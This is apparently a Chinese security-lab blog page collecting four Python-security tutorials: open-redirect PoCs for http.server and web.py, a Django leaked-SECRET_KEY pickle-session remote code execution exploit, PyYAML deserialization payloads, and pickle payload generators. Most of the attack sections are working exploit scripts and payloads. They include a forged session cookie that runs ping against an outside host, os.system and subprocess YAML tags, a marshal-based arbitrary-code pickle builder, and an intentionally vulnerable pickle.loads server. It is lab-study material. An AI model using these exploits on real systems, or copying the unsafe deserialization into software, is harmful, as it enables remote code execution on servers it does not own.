分类 Python安全 下的文章 - 勾陈安全实验室

分类 Python安全 下的文章

Python http.server和web.py的URL跳转漏洞实践

0x01 前言

看了Phithon的文章,分析了2个Python的web服务器中的URL跳转漏洞,自己也尝试跟着思路理一理。

0x02 函数的本意

这个函数的本意是:

判断当前请求的url中的path(也就是本例中的“email”)是不是一个存在的路径,如果是则通过301重定向到

email/ 这是其他web服务器都具有的一个正常操作。

http://127.0.0.1:8000/email

会自动跳转到

http://127.0.0.1:8000/email/

可以通过浏览器正常访问试一试,正常的web服务器都会这样跳转。

正常的请求.png

通过断点调试看到的信息(关于调试给SimpleHTTPServer.py下断点,方法和给自己的代码下断点一样,因为它里面直接有一个测试函数,可以直接运行SimpleHTTPServer.py来启动一个web服务器):

本来的功能.png

0x03 单斜杠和双斜杠对于ulrparse.urlsplit()

从phithon的文章中可以看出,要实现URL的跳转的一个关键是浏览器把双斜杠后面的内容当作域名。

我们在BurpSuite中试试,发现能通过可以构造出带双斜杠的Location返回(如下图)。

双斜杠的差异.png

继续在代码中加断点中看看,可以看出,当请求的url是单斜杠时(如上图下半部分),email是被认为是path,当是双斜杠时却被认为是netloc。个人认为这是http.server和其他web服务器所不同的地方(比如nginx,自己试过,访问http://www.polaris-lab.com/img 和访问http://www.polaris-lab.com//img 的结果都是一样的,说明这2个请求中,img都被认为是path)。

yyy.png

可以看出,关键是urlparse.urlsplit()函数导致的。

urlsplit.png

再验证一下上面提到的nginx中是否可以构造出带双斜杠的Location。结果表明不行,所以,这个漏洞之所以成立的一个前提条件就是:使用了urlparse.urlsplit()来解析path导致可以构造出双斜杠的Location返回,否则这个漏洞将不成立。(所以修复方案是否可以朝着这个思路来?)

nginx.png

0x04 为什么需要%2f..

如果是:

http://127.0.0.1:8000//example.com//..

最后的/..将被浏览器处理,根本发送不到服务器端,发送到服务端的请求将是(可以抓包验证一下),

http://127.0.0.1:8000//example.com/

想要发送到服务器端,就必须对/进行URL编码,即:

http://127.0.0.1:8000//example.com/%2f..

而到了服务器端,这个//example.com/%2f..将被translate_path()函数处理,会先进行url解码然后转换为系统路径

translatepath.png

解码后的内容为//example.com//..也就是当前路径了。

translatepath1.png

0x05 PoC脚本

以上基本理清了PoC中的一些关键点,附上自动化检测脚本,可直接用于POC-T。

http.server open redirect的PoC:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

'''
参考链接:https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
paylaod: http://127.0.0.1:8000//example.com/%2f%2e%2e
测试状态:成功
'''

import requests
import urlparse
import sys

def poc(url):
    x = urlparse.urlparse(url)
    target = "{0}://{1}".format(x.scheme,x.netloc)

    payload = "{0}//example.com/%2f%2e%2e".format(target)

    response = requests.get(payload,allow_redirects=False,timeout=3,verify=False)

    if response.status_code ==301:
        try:
            location = response.headers["Location"]
            if "example.com" in location:
                return True
            else:
                return False
        except:
            return False
            pass

if __name__ == "__main__":
    print poc(sys.argv[1])

web.py open redirect的PoC:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

'''
漏洞名称:Struts2漏洞S2-045
实验环境:VulApps/s/struts2/s2-045
参考链接:https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
测试状态:
'''

import requests
import urlparse
import sys
import urllib

'''
payload: http://127.0.0.1:8080////static%2fcss%2f@www.example.com/..%2f
https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
说明:根据p神的文章,是只有处理静态文件的代码是继承了SimpleHTTPRequestHandler类,才会受到影响
所以,这里的提供的url,最好是静态文件的url,比如 js、css、图片的完整url。
'''


'''
#
import web

urls = (
    '/(.*)', 'hello'
)
app = web.application(urls, globals())

class hello:
    def GET(self, name):
        if not name:
            name = 'World'
        return 'Hello, ' + name + '!'

if __name__ == "__main__":
    app.run()
'''


def poc(url):
    print("you should provide a static resoure url, like js|css|image")
    x = urlparse.urlparse(url)
    path_list = x.path.split("/")
    path_list.pop()
    path_list.remove("")
    path_list.append("")# list是有序的
    path= "%2f".join(path_list)
    #path = urllib.quote(path)
    #print(path)
    target = "{0}://{1}".format(x.scheme,x.netloc)
    #http://127.0.0.1:8080////static%2fcss%2f@www.example.com/..%2f
    payload = "{0}////{1}@www.example.com/..%2f".format(target,path)
    print(payload)
    response = requests.get(payload,allow_redirects=False,timeout=3,verify=False)

    if response.status_code ==301:
        try:
            location = response.headers["Location"]
            if "example.com" in location:
                return True
            else:
                return False
        except:
            return False
            pass

if __name__ == "__main__":
    print poc(sys.argv[1])

0x06 参考

Django的Secret Key泄漏导致的命令执行实践

0x01 Secret Key的用途和泄漏导致的攻击面

Secret Key主要用于加密、签名,下面是官方文档的说明:

The secret key is used for:

  • All sessions if you are using any other session backend thandjango.contrib.sessions.backends.cache, or are using thedefaultget_session_auth_hash().
  • All messages if you are using CookieStorage orFallbackStorage.
  • All PasswordResetView tokens.
  • Any usage of cryptographic signing, unless a different key is provided.

Secret Key泄漏可能的攻击面:

  • 远程代码执行,如果使用了cookie-based sessions。当然其他可以操作session_data的问题都可能导致
  • 任意密码重置,contrib.auth.token.
  • CSRF
  • ...

我们主要关注远程代码执行这个点。

0x02 Django Session的几种方式

  • 数据库(database-backed sessions)

如下图,session的key和data都是存储在sqlite数据库中的,这是默认的设置,当用户带着cookie来请求服务端时,cookie中包含的是session_key,服务端会根据这个session_key来查询数据库,从而获取到session_data。就是说session_data是存在服务端的。

cooke_session.png

  • 缓存(cached sessions)
  • 文件系统(file-based sessions)
  • Cookie(cookie-based sessions)

当Django使用了这种方式的时候,和其它几种方式不同的是,它将session_data也是存在于cookie中的,即存在于客户端的。但它是经过签名的,签名依赖于django 的Secret Key,所以如果我们知道了Secret Key将可能修改session_data。这也是我们将要讨论的重点。

0x03 环境准备

关于通过操作session来实现命令执行有一个很好的案例。在学习Pickle反序列化的时候就看过,其中的关键是Django在取得session_data之后,需要进行反序列化操作才能获取其中的数据。所以,如果能有机会操作session_data,就有可能导致代码执行。

而我们这里关注的是Secret Key泄漏的情况,它有2个关键点:

  1. 使用了cookie-based sessions
  2. 使用了serializers.PickleSerializer

注:Django1.5级以下,session默认是采用pickle执行序列号操作django.contrib.sessions.serializers.PickleSerializer;在1.6 及以上版本默认采用json序列化。django.contrib.sessions.serializers.JSONSerializer

Djgano测试环境部署:

#命令行下运行如下命令来创建项目
django-admin startproject testproject

#在项目中创建应用
cd testproject
python manage.py startapp testapp

#在setting.py中新增SESSION_ENGINE和SESSION_SERIALIZER配置。这是漏洞存在的必要条件!
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
#SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
#因为我的环境中使用的Django1.11,默认使用的是JSONSerializer,所以需要配置这一条。

urls.py的内容如下:

from django.conf.urls import url
from django.contrib import admin
from testapp import views

urlpatterns = [
    url(r'.*$', views.index),
    url(r'^admin/', admin.site.urls),
]

views.py中的内容如下:

# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.
def index(request):
    x= request.session
    print x.values
    print dir(x)
    print x.serializer
    print x['userid'] #这一句是关键,需要有尝试从session中取数据的行为,django才会去执行反序列
    return HttpResponse(x)

注意:必须要有尝试从session中取数据的行为,Django才会去执行反序列,否则将不能触发!所以实际的环境中,最好选择用户信息相关接口等一定会取数据的接口进行测试。

以上就完成了环境的准备,运行python manage.py runserver启动服务。

0x04 PoC及验证

关于Pickle PoC的生成方法,可以参考我之前的文章Python Pickle的任意代码执行漏洞实践和Payload构造

poc.py的内容如下:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
    class Run(object):
        def __reduce__(self):
            #return (os.system,('ping test.0y0.link',))
            return (os.system,(command,))

    #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    SECRET_KEY = SECRET_KEY

    sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
    #生成的恶意session
    print sess


    '''
    salt='django.contrib.sessions.backends.signed_cookies'
    sess = pickle.dumps(Run())
    sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
    sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
    print sess
    #这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。
    '''

    session = 'sessionid={0}'.format(sess)
    return session

def exp(url,SECRET_KEY,command):

    headers = {'Cookie':session_gen(SECRET_KEY,command)}
    proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
    response = requests.get(url,headers= headers,proxies = proxy)
    #print response.content

if __name__ == '__main__':
    url = 'http://127.0.0.1:8000/'
    SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link'
    exp(url,SECRET_KEY,command)

运行poc.py时,后台的输出结果:

success.png

print x['userid']对应了2个动作,一是反序列化,也就是执行系统命令的关键;二是取值,这里是取值失败打印了错误信息,但是这已经不重要了,因为我们已经实现了我们的目的。

PoC脚本最好使用原生的库或者方法来进行其中的payload生成操作。比如上面的poc.py中,可以使用signing.dumps,也可单独使用pickle.dumps然后加上其他操作,但是最好使用第一种,这样可以很好地保证Payload的正确性。而且实际的环境中,如果能获取到目标的具体版本,最好通过配置相应版本的环境来完成PoC的生成。

本文环境和代码的下载地址:

0x05 参考

Python PyYAML反序列化漏洞实验和Payload构造

0x01 概述

什么程序存在漏洞:

使用了PyYAML这个库并且使用了yaml.load而不是yaml.safe_load函数来解析yaml文件的程序

代码审计关键词:

  • import yaml
  • yaml.load(

已知相关漏洞:

  • Remote Code Execution Vulnerability in Ansible-Vault Library. (CVE-2017-2809)
  • https://pypi.python.org/pypi/ansible-vault/1.0.4 ansible-vault <=1.0.4存在这个漏洞,在1.0.5中完成了修复
  • Remote Code Execution Vulnerability in Tablib. (CVE-2017-2810)

0x02 yaml和序列化

yaml和xml、json等类似,都是标记类语言,有自己的语法格式。各个支持yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存),其中PyYAML就是python的一个yaml库。

除了 YAML 格式中常规的列表、字典和字符串整形等类型转化外(基本数据类型),各个语言的 YAML 解析器或多或少都会针对其语言实现一套特殊的对象转化规则(也就是序列化和反序列化,这是关键点,是这个漏洞存在的前提)。比如:PyYAML 在解析数据的时候遇到特定格式的时间数据会将其自动转化为 Python 时间对象

  • 序列化: 将数据结构或对象转换成二进制串(字节序列)的过程
  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程

将如下内容保存到sample.yml

date: !!str 2016-03-09
date1:  2016-03-09
weekday: Wednesday
weather: sunny

然后在同一目录下运行如下python 代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import yaml

print(yaml.load(file('sample.yml', 'r')))

可以看到如下结构,有“!!str”强制类型转换的,就成了字符串格式;没有类型转换的就是python中datetime.date对象。

微信图片_20170922164720.png

0x03 代码执行PoC构造的尝试

以笔者目前初浅的理解,要实现代码执行,就需要序列化和反序列的内容中出现该编程语言中的对象(函数、类),因为的对象的反序列化,是在构建一个对象的实例(实例化的过程)。如果一个对象中有函数的定义,有可执行代码,那么实例化后再通过方法调用或者其他的途径才能使其中的代码到执行。普通数据类型的反序列化只是变量相关的初始化、赋值等操作,不会涉及到逻辑处理的代码块,所有不会有代码的执行!(普通数据类型 = 数据,对象= 函数代码+数据)。

通过跟踪$PYTHON_HOME/lib/site-packages/yaml/constructor.py文件,查看 PyYAML 源码可以得到其针对 Python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object

!!python/object/apply:    =>  Constructor.construct_python_object_apply

!!python/object/new:      =>  Constructor.construct_python_object_new

通过如下代码,来序列化test类中的内容:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'yaml_gen_poc.py'

import yaml
import os

class test:
    def __init__(self):
        os.system('calc.exe')

payload =  yaml.dump(test())

fp = open('simple.yml','w')
fp.write(payload)

可以看到simple.yml中写入的内容如下:

!!python/object:yaml_gen_poc.test {}

再运行yaml_verify.py来验证:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = "yaml_verify.py"

import yaml

yaml.load(file('simple.yml', 'r'))

微信图片_20170922164726.png

成功执行了命令,弹出计算器。但是yaml_verify.py的成功运行,需要依赖yaml_gen_poc.py,因为它会根据yml文件中的指引去读取yaml_gen_poc.py中的test这个对象(类)。如果删除yaml_gen_poc.py,也将运行失败。

0x04 构造通用payload

那么我们怎样消除这个依赖呢?就是将其中的类、或者函数 换成python标准库中的类或者函数。

直接修改yml文件为:

!!python/object:os.system ["calc.exe"]

再运行,失败(显示参数未传递:TypeError: system() takes exactly 1 argument (0 given)),尝试查看源码、并变换yml文件中语句格式,均未成功!(疑难点)。

修改为以下2种均成功,通过源码得知,new其实是调用了apply,他们的不同的地方是创建对象的方式,这里可以大致认为它们是一样的。

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:os.system ["calc.exe"]

既然解决了依赖问题,那我们就尝试构建一些有用的poc吧,从官方标准库里找可以用来执行命令的函数:https://docs.python.org/2/library/index.html

!!python/object/apply:subprocess.check_output [[calc.exe]]

!!python/object/apply:subprocess.check_output ["calc.exe"]

!!python/object/apply:subprocess.check_output [["calc.exe"]]

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:subprocess.check_output [["calc.exe"]]

!!python/object/new:os.system ["calc.exe"]

..................

本文测试代码地址:

https://github.com/bit4woo/sharexmind/tree/master/YamlRCE

0x05 参考

Python Pickle的任意代码执行漏洞实践和Payload构造

0x01 Pickle的典型应用场景

一般在什么场景下需要用到Pickle?

  1. 通常在解析认证token,session的时候。(如果你知道更多,欢迎留言补充,感谢!)现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
  2. 可能将对象Pickle后存储成磁盘文件。
  3. 可能将对象Pickle后在网络中传输。
  4. 可能参数传递给程序,比如sqlmap的代码执行漏洞

    python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="

0x02 如何构造Payload

特别说明:以下测试代码均可在我的github上下载:https://github.com/bit4woo/sharexmind/tree/master/PickleRCE

1.执行系统命令的Payload

首先构造一个简单的包含漏洞的代码。

后续的验证过程中,将生成的Payload放到poc.pickle文件中,使用该代码来读取PoC验证效果(我将其保存为dopickle.py)。

__author__ = 'bit4'
import pickle

pickle.load(open('./poc.pickle'))

值得注意的是,pickle有loadloads2个方法,load需要的参数是文件句柄,loads所需要的参数是字符串。

pickle允许任意对象去定义一个__reduce__方法来申明怎么序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。

使用os.system执行命令的payload,保存为pickle_poc_gen.py

#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'

import cPickle
import os

class genpoc(object):
    def __reduce__(self):
        s = """echo test >poc.txt"""  #要执行的命令
        return os.system, (s,)        #os.system("echo test >poc.txt")

e = genpoc()
poc = cPickle.dumps(e)

print poc

输出内容,也就是Payload:

cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.

url编码后的payload,用于URL中传递给web服务器:

cnt%0Asystem%0Ap1%0A%28S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A

我们将如上生成的pyload放到poc.pickle文件中,然后执行验证代码dopickle.py,成功执行了"echo test >poc.txt"(在当前目录生成一个poc.txt,其中的内容是test)。

现在问题来了,如何在实际的web环境中使用这些payload呢?

我们先实现一个简单的httpserver(dopicklehttpserver.py):

#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle

class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def do_GET(self):
        if "?payload" in self.path:
            query= urllib.splitquery(self.path)
            action = query[1].split('=')[1]  #这种写法是一个坑,如果参数payload的值中包含了等号,将导致不正确,pickle将报“insecure string pickle”错误。
            #action = query[1].replace("payload=","") #这种写法可以避免=的问题,但实际的项目中肯定不是这么写,求指教~
            print action
            try:
                x = cPickle.loads(action) #string argv
                content = x
            except Exception,e:
                print e
                content = e

        else:
            content = "hello World"

        self.send_response(200)
        self.send_header("Content-type","text/html")
        self.end_headers()
        self.wfile.write("<html>")
        self.wfile.write(" %s " % content)
        self.wfile.write("</html>")

if __name__ == '__main__':

    srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
    print 'started  httpserver...'
    srvr.serve_forever()

运行以上代码后,将运行一个监听本地8000端口的web服务器,通过如下URL访问,传递Payload给服务器。

http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A.

也和本地环境一样,成功运行了命令,生成了poc.txt

在PHP中还有有一种比较常见的思路,通过base64编码后传递,如下这种,那我们可以在python中借鉴。这部分内容包含在了“执行任意python代码的payload”小节中。

http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php

2.执行任意python代码的payload

我们的目标是实现任意代码执行,所以我们要序列化的对象成了code类型,但是pickle是不能序列化code对象的。

但幸运的是,从python2.6起,包含了一个可以序列化code对象的模块–Marshal。由于python可以在函数当中再导入模块和定义函数,所以我们可以将自己要执行的代码都写到一个函数里foo(), 所以有了如下代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'pickle_poc_gen0.py'

import marshal
import base64
import cPickle
import urllib

def foo():#you should write your code in this function
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('echo anycode >>poc.txt')

try:#尝试使用cPickle来序列号代码对象
    cPickle.dumps(foo.func_code)
except Exception as e:
    print e #TypeError: can't pickle code objects

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized

想要这段输出的base64的内容得到执行,我们需要如下代码:

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ”))()

写得更容易阅读点就是这样:

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

把这段代码转换成pickle后的格式,需要了解pickle的数据格式和指令。详细的转换过程可以参考:https://www.cs.uic.edu/~s/musings/pickle/

  • c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
  • (:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
  • t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
  • S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
  • R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
  • .:结束pickle。

说人话:

  • c:接下来的2行内容类似于,os.systemurllib.unquotemodule.object的形式。
  • (:就是左括号
  • t:相当于右扩号
  • S:代表本行后面的内容是String,即字符串。
  • R:执行紧靠自己左边的一个括号对中的内容,即( 和他t直接的内容。
  • .:点号结束pickle。

32dcaa3e06b19f65870914432174ac89.png

最终的可以执行任意代码的payload生成器(第一种),foo()函数中的部分是你应该自己编写替换的代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'pickle_poc_gen0.py'

import marshal
import base64
import cPickle
import urllib

def foo():#you should write your code in this function
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('echo anycode >>poc.txt')

try:#尝试使用cPickle来序列号代码对象
    cPickle.dumps(foo.func_code)
except Exception as e:
    print e #TypeError: can't pickle code objects

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized


#为了保证code_serialized中的内容得到执行,我们需要如下代码
#(types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), ''))()

payload =  """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

print "------------------------------------------------"
print payload
fp =open("poc.pickle","w")
fp.write(payload)
print "------------------------------------------------"
print urllib.quote(payload)

将以上代码生成的payload分别用于dopickle.pydopicklehttpserver.py中进行测试。均成功执行命令。

注意:用于pickle_verify_httpserver.py的payload和上面一样还是需要url编码后的。

9f4a270e990cc8454b3dd3ebf84da5a4.png

3.另外一段不成熟payload生成代码的分析

在网上看到了另外一个生成代码:https://gist.github.com/freddyb/3360650

我们看一下他的代码并尝试利用上面的序列化规则“翻译”一下:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'pickle_poc_gen1.py'
#from https://gist.github.com/freddyb/3360650

try:
    import cPickle as pickle
except ImportError:
    import pickle

from sys import argv

def picklecompiler(sourcefile):
    """ 
    Usually pickle can only be used to (de)serialize objects.
    This tiny snippet will allow you to transform arbitrary python source
    code into a pickle string. Unpickling this string with pickle.loads()
    will execute the given soruce code.
    The trick is actually prettey easy: Usually eval() will only accept
    expressions, thus class and function declarations does not work.
    Using the work-around of code objects (returned by compile()), we can
    execute real python source code :)
    """
    sourcecode = file(sourcefile).read()
    payload = "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS'<payload>'\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
    print payload
    fp =open("poc.pickle","w")
    fp.write(payload)


def usage():
    print "usage: ./%s file\n\nfile\tfile to compile into a pickle string" % argv[0]

if len(argv) == 2:
    print repr(picklecompiler(argv[1]))
else:
    usage()

再尝试还原成python代码,基本就是下面的语句

__builtin__.eval(__builtin__.compile(%s,'<payload>’,’exec’)) % cmd
eval(compile(%s,'<payload>’,’exec’)) % cmd

对以上代码生成的payload进行了测试,也只是成功执行了未包含函数和类的python代码,包含函数和类的则未执行成功。

4.终极payload生成器

分析到最后,发现其实有老外已经做过更加底层,更加详细的分享,并且也提供了Poc生成脚本

参考:

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

地址:

https://github.com/sensepost/anapickle

该工具中包含了大量的成熟payload,有了以上知识,不难理解其中的代码,也可以自己进行修改了。

0x03 参考